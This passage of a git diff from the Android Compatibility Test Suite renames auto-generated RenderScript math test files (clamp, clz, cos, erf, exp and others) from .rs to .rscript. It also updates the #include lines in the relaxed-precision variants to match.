--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClampRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestClamp.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClampRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClampRelaxed.rscript
new file mode 100644
index 0000000..26aca2a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClampRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestClamp.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClz.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClz.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestClz.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestClz.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClzRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClzRelaxed.rs
deleted file mode 100644
index febe4d4..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClzRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestClz.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClzRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClzRelaxed.rscript
new file mode 100644
index 0000000..be6e202
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClzRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestClz.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvert.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvert.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvert.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvert.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvertRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvertRelaxed.rs
deleted file mode 100644
index 7229d5d..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvertRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestConvert.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvertRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvertRelaxed.rscript
new file mode 100644
index 0000000..717e00b
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvertRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestConvert.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysign.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysign.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysign.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysign.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysignRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysignRelaxed.rs
deleted file mode 100644
index 872bcab..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysignRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestCopysign.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysignRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysignRelaxed.rscript
new file mode 100644
index 0000000..b5bf57a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysignRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestCopysign.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCos.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCos.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestCos.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestCos.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosRelaxed.rs
deleted file mode 100644
index a37ed10..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestCos.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosRelaxed.rscript
new file mode 100644
index 0000000..4b34ea6
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestCos.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCoshRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCoshRelaxed.rs
deleted file mode 100644
index 358062c..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCoshRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestCosh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCoshRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCoshRelaxed.rscript
new file mode 100644
index 0000000..81fab3c
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCoshRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestCosh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospiRelaxed.rs
deleted file mode 100644
index d7281ba..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestCospi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospiRelaxed.rscript
new file mode 100644
index 0000000..007f877
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestCospi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCross.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCross.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestCross.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestCross.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCrossRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCrossRelaxed.rs
deleted file mode 100644
index 06a685c..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCrossRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestCross.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCrossRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCrossRelaxed.rscript
new file mode 100644
index 0000000..6a29f38
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCrossRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestCross.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegrees.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegrees.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegrees.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegrees.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegreesRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegreesRelaxed.rs
deleted file mode 100644
index 88cc208..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegreesRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestDegrees.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegreesRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegreesRelaxed.rscript
new file mode 100644
index 0000000..de106d7
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegreesRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestDegrees.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistance.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistance.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistance.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistance.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistanceRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistanceRelaxed.rs
deleted file mode 100644
index 0ad21fc..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistanceRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestDistance.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistanceRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistanceRelaxed.rscript
new file mode 100644
index 0000000..db15144
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistanceRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestDistance.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDot.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDot.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestDot.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestDot.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDotRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDotRelaxed.rs
deleted file mode 100644
index 50ce702..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDotRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestDot.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDotRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDotRelaxed.rscript
new file mode 100644
index 0000000..5781666
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDotRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestDot.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErf.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErf.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestErf.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestErf.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfRelaxed.rs
deleted file mode 100644
index 17d87f0..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestErf.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfRelaxed.rscript
new file mode 100644
index 0000000..b9600b7
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestErf.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfc.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfc.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfc.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfc.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfcRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfcRelaxed.rs
deleted file mode 100644
index 19a65d9..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfcRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestErfc.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfcRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfcRelaxed.rscript
new file mode 100644
index 0000000..d6535e6
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfcRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestErfc.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10.rscript
